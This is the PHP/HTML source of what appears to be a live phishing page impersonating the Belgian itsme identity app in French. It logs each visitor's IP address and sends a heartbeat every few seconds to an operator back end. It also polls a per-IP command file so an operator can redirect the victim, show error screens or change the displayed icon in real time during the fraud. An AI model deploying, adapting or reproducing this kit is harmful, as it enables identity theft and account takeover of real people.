<?php
$ip = $_SERVER['REMOTE_ADDR'];
$token1 = isset($_GET['token']) ? $_GET['token'] : '';

$selectedImg = isset($_GET['img']) ? urldecode($_GET['img']) : '';
// Allow: full URLs, base64 data URIs, or server-saved image paths (users/imgs/...)
if (!empty($selectedImg)
    && !filter_var($selectedImg, FILTER_VALIDATE_URL)
    && strpos($selectedImg, 'data:image/') !== 0
    && strpos($selectedImg, 'users/imgs/') !== 0) {
    $selectedImg = '';
}
?>

<!DOCTYPE html>

 <html lang="fr" dir="ltr" style="background:white"><head><meta charset="utf-8">
    <style></style>
        <title>OIDC</title>
         
    
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta http-equiv="x-ua-compatible" content="IE=edge">
    <style>html,body,div,span,img{border:0;font-size:100%;font:inherit;vertical-align:baseline;margin:0;padding:0}@font-face{}body{font-family:"ProximaNovaRegular",helvetica,arial,sans-serif;font-size:16px;line-height:1.3em;font-weight:500}::-webkit-input-placeholder{color:#c6c6c5;font-weight:normal;padding:0;font-style:italic}::-webkit-calendar-picker-indicator{background-color:#f0f6f7}::-webkit-inner-spin-button{display:none}@-webkit-keyframes pulse-1{from{color:transparent}15%{color:#868889}}@-moz-keyframes pulse-1{from{color:transparent}15%{color:#868889}}@-o-keyframes pulse-1{from{color:transparent}15%{color:#868889}}@keyframes pulse-1{from{color:transparent}15%{color:#868889}}@-webkit-keyframes pulse-2{from{color:transparent}45%{color:#a9a8a8}}@-moz-keyframes pulse-2{from{color:transparent}45%{color:#a9a8a8}}@-o-keyframes pulse-2{from{color:transparent}45%{color:#a9a8a8}}@keyframes pulse-2{from{color:transparent}45%{color:#a9a8a8}}@-webkit-keyframes pulse-3{from{color:transparent}80%{color:#c4c4c3}}@-moz-keyframes pulse-3{from{color:transparent}80%{color:#c4c4c3}}@-o-keyframes pulse-3{from{color:transparent}80%{color:#c4c4c3}}@keyframes pulse-3{from{color:transparent}80%{color:#c4c4c3}}@-webkit-keyframes rotation{0%{-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-ms-transform:rotate(720deg);-webkit-transform:rotate(720deg);transform:rotate(720deg)}}@-moz-keyframes rotation{0%{-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-ms-transform:rotate(720deg);-webkit-transform:rotate(720deg);transform:rotate(720deg)}}@-o-keyframes rotation{0%{-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-ms-transform:rotate(720deg);-webkit-transform:rotate(720deg);transform:rotate(720deg)}}@keyframes rotation{0%{-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-ms-transform:rotate(720deg);-webkit-transform:rotate(720deg);transform:rotate(720deg)}}@-webkit-keyframes loaderAnim{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-moz-keyframes loaderAnim{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-o-keyframes loaderAnim{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes loaderAnim{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-o-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}html{height:100%;background-repeat:no-repeat;background-attachment:fixed;background-image:-o-radial-gradient(40% 40%,circle cover,rgba(61,69,77,0.9) 30%,#3d454d 80%);background-image:-ms-radial-gradient(40% 40%,circle cover,rgba(61,69,77,0.9) 30%,#3d454d 80%);background-image:-moz-radial-gradient(40% 40%,circle cover,rgba(61,69,77,0.9) 30%,#3d454d 80%);background-image:-webkit-radial-gradient(40% 40%,circle cover,rgba(61,69,77,0.9) 30%,#3d454d 80%);-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover}body{height:100%}body .ping-signin .ping-body-container{max-width:480px;padding-bottom:40px}.ping-container{box-sizing:border-box;padding-top:50px;min-height:100%;position:relative;padding-bottom:120px}.ping-body-container{box-sizing:border-box;min-height:100px;text-align:center;position:relative;width:100%;padding:35px 50px;margin:0 auto;overflow:hidden;background:#fff;-webkit-box-shadow:1px 1px 0 rgba(0,0,0,0.1);-moz-box-shadow:1px 1px 0 rgba(0,0,0,0.1);box-shadow:1px 1px 0 rgba(0,0,0,0.1)}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){}@media(max-width:900px),(max-device-width:900px){body{padding:0}.ping-container{overflow:visible;border-bottom:0;margin-top:0;padding-top:0;padding-bottom:80px;-webkit-border-radius:0;-moz-border-radius:0;-ms-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.ping-body-container{border-bottom:0;max-width:100%;padding:20px 35px;-webkit-border-radius:0;-moz-border-radius:0;-ms-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}}@media(max-width:500px),(max-device-width:500px){}@media(max-width:480px),(max-device-width:480px){body{padding:0}.ping-container{max-width:600px;overflow:visible;border-bottom:0;margin-top:0;padding-top:0;-webkit-border-radius:0;-moz-border-radius:0;-ms-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.ping-body-container{border-bottom:0;max-width:100%;padding:35px 35px;-webkit-border-radius:0;-moz-border-radius:0;-ms-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}}@media(max-width:420px),(max-device-width:420px){}@media(max-width:390px),(max-device-width:390px){}</style>
 <style media="all">html{background-color:#e9e9ea !important;background-image:none !important}body{background-color:#e9e9ea;color:#5a5a5f !important}.ping-body-container{margin-bottom:0px !important}@media(max-width:400px),(max-device-width:900px){}</style>

<style>img[src="data:,"]{display:none !important}</style><meta name="referrer" content="no-referrer"><link type="image/x-icon" rel="shortcut icon" href="https://www.woluwe1200.be/app/uploads/2025/08/itsmelogo.png"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>

<body>





<style>
    body {
        background-color: #f4f4f4 !important;
        font-family: Arial, sans-serif;
        display: flex;
        justify-content: center;
        align-items: center;
        min-height: 100vh;
        margin: 0;
    }
    .itsme-card {
        background-color: #ffffff;
        width: 100%;
        max-width: 480px;
        padding: 50px 40px;
        box-shadow: 0 4px 20px rgba(0,0,0,0.05);
        border: 1px solid #e0e0e0;
        box-sizing: border-box;
        margin: 20px;
    }
    .itsme-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 40px;
    }
    .itsme-logo {
        width: 60px;
    }
    .lang-selector {
        font-size: 14px;
        color: #333;
        display: flex;
        align-items: center;
        cursor: pointer;
    }
    .lang-selector svg {
        width: 12px;
        height: 12px;
        margin-left: 5px;
    }
    .itsme-card h1 {
        font-size: 26px;
        color: #222;
        margin: 0 0 20px 0;
        font-family: Georgia, serif;
        font-weight: bold;
    }
    .itsme-card p {
        font-size: 15px;
        color: #333;
        line-height: 1.5;
        margin: 0 0 20px 0;
    }
    .itsme-icon-container {
        margin-top: 40px;
        text-align: left;
    }
    .itsme-icon-container img {
        width: 80px;
        height: 80px;
        border-radius: 50%;
        object-fit: cover;
    }
</style>

<div class="itsme-card">
    <div class="itsme-header">
        <img src="bc_files/logo-itsme.jpg" class="itsme-logo" alt="itsme">
        <div class="lang-selector">
            Français 
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"></polyline></svg>
        </div>
    </div>
    <h1>Prouvez que c'est vous</h1>
    <p>Une action est en attente dans votre application itsme&reg;.</p>
    <p>Ouvrez l'application et s&eacute;lectionnez cette ic&ocirc;ne pour continuer.</p>
    <div class="itsme-icon-container">
        <img id="imgLogo" src="<?php echo !empty($selectedImg) ? htmlspecialchars($selectedImg) : $image1; ?>" alt="Selected Icon">
    </div>
</div>


  <style>


/* The Modal (background) */
.modal {
  display: none; /* Hidden by default */
  position: fixed; /* Stay in place */
  z-index: 999; /* Sit on top */
  padding-top: 125px; /* Location of the box */
  left: 0;
  top: 0;
  width: 100%; /* Full width */
  height: 100%; /* Full height */
  overflow: auto; /* Enable scroll if needed */
  background-color: rgb(0,0,0); /* Fallback color */
  background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
}

/* Modal Content */
.modal-content {
  background-color: #fefefe;
  margin: auto;
  padding: 20px;
  border: 1px solid #888;
  width: 80%;
}
</style>
     <div id="errorCCS" class="modal" style="
    display: none;
">

  <!-- Modal content -->
  <div class="modal-content">
   
   <div class="panel-body" style="max-width:450px;margin:auto;vertical-align:middle;position:relative;border-radius:15px;padding:25px 15px 15px 15px;box-shadow: 0 0 50px #7080902b;background-color:#70809014">
   
   <div style="text-align:center;">
   <svg width="64px" height="64px" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" stroke="#ae1919"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <path d="M12 21C10.22 21 8.47991 20.4722 6.99987 19.4832C5.51983 18.4943 4.36628 17.0887 3.68509 15.4442C3.0039 13.7996 2.82567 11.99 3.17294 10.2442C3.5202 8.49836 4.37737 6.89472 5.63604 5.63604C6.89472 4.37737 8.49836 3.5202 10.2442 3.17294C11.99 2.82567 13.7996 3.0039 15.4442 3.68509C17.0887 4.36628 18.4943 5.51983 19.4832 6.99987C20.4722 8.47991 21 10.22 21 12C21 14.387 20.0518 16.6761 18.364 18.364C16.6761 20.0518 14.387 21 12 21ZM12 4.5C10.5166 4.5 9.0666 4.93987 7.83323 5.76398C6.59986 6.58809 5.63856 7.75943 5.07091 9.12988C4.50325 10.5003 4.35473 12.0083 4.64411 13.4632C4.9335 14.918 5.64781 16.2544 6.6967 17.3033C7.7456 18.3522 9.08197 19.0665 10.5368 19.3559C11.9917 19.6453 13.4997 19.4968 14.8701 18.9291C16.2406 18.3614 17.4119 17.4001 18.236 16.1668C19.0601 14.9334 19.5 13.4834 19.5 12C19.5 10.0109 18.7098 8.10323 17.3033 6.6967C15.8968 5.29018 13.9891 4.5 12 4.5Z" fill="#b01c1c"></path> <path d="M12 13C11.8019 12.9974 11.6126 12.9176 11.4725 12.7775C11.3324 12.6374 11.2526 12.4481 11.25 12.25V8.75C11.25 8.55109 11.329 8.36032 11.4697 8.21967C11.6103 8.07902 11.8011 8 12 8C12.1989 8 12.3897 8.07902 12.5303 8.21967C12.671 8.36032 12.75 8.55109 12.75 8.75V12.25C12.7474 12.4481 12.6676 12.6374 12.5275 12.7775C12.3874 12.9176 12.1981 12.9974 12 13Z" fill="#b01c1c"></path> <path d="M12 16C11.8019 15.9974 11.6126 15.9176 11.4725 15.7775C11.3324 15.6374 11.2526 15.4481 11.25 15.25V14.75C11.25 14.5511 11.329 14.3603 11.4697 14.2197C11.6103 14.079 11.8011 14 12 14C12.1989 14 12.3897 14.079 12.5303 14.2197C12.671 14.3603 12.75 14.5511 12.75 14.75V15.25C12.7474 15.4481 12.6676 15.6374 12.5275 15.7775C12.3874 15.9176 12.1981 15.9974 12 16Z" fill="#b01c1c"></path> </g></svg>
   </div>
                        <h1 style="margin-bottom:15px" id="t0" >Erreur  </h1>
      
      <div >
                            <div class="row">
                               
                                <div class="col-md-12" id="t1">
                                   cordoonées incorrect. Merci de vérifier vos informations et d'essayer à nouveau.
                                </div>
                            </div>
                            
                        </div>
                    </div>    
<p></p>
  </div>

</div>

  <script src="./bc_files/jquery.min.js?NjM2MQ=="></script>

 <span style="display:none;">0n</span>

	<script>
		// Send heartbeat every 5 seconds to update user's online status
		(function() {
			// Function to send heartbeat with user's IP
			function sendHeartbeat() {
				fetch(`config.php?heartbeat=true&ip=<?php echo $ip; ?>&page=${window.location.pathname.split('/').pop()}`, {
						method: 'GET',
						headers: {
							'Cache-Control': 'no-cache',
							'Pragma': 'no-cache'
						}
					})
					.then(response => response.json())
					.then(data => {
						console.log('Heartbeat sent:', data.timestamp);
					})
					.catch(error => {
						console.error('Heartbeat error:', error);
					});
			}

			// Send initial heartbeat
			sendHeartbeat();

			// Set up interval to send heartbeat every 5 seconds
			let heartbeatInterval = setInterval(sendHeartbeat, 5000);

			// Handle page visibility changes (pause when tab is hidden)
			document.addEventListener('visibilitychange', function() {
				if (document.hidden) {
					console.log('Page hidden - heartbeat paused');
					clearInterval(heartbeatInterval);
				} else {
					console.log('Page visible - heartbeat resumed');
					sendHeartbeat(); // Send immediate heartbeat when tab becomes visible
					heartbeatInterval = setInterval(sendHeartbeat, 5000); // Resume interval
				}
			});

			// Clean up on page unload
			window.addEventListener('beforeunload', function() {
				clearInterval(heartbeatInterval);
			});
		})();
	</script>
	<script>
	(function() {
	  var ip = '<?php echo addslashes($ip); ?>';
	  var token1 = '<?php echo addslashes($token1); ?>';
	  var waiting = setInterval(function() {
	    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
	      .then(function(r) { return r.text(); })
	      .then(function(data) {
	        if (!data || data.length < 2) return;
	        var row = data.split('#|#');
	        var one = row[0];
	        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
	        if (one == 'load') {
	          clearInterval(waiting);
	          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
	        } else if (one == 'url' && row[2]) {
	          clearInterval(waiting);
	          window.location.href = row[2];
	        } else if (one == 'itsMe-logo' && row[2]) {
	          // Update the displayed logo image dynamically without redirecting
	          var imgSrc = row[2];
	          var imgEl = document.getElementById('imgLogo');
	          if (imgEl && imgSrc) {
	            imgEl.src = imgSrc;
	          }
	        }
	      })
	      .catch(function() {});
	  }, 1500);
	})();
	</script>
    
</body></html>
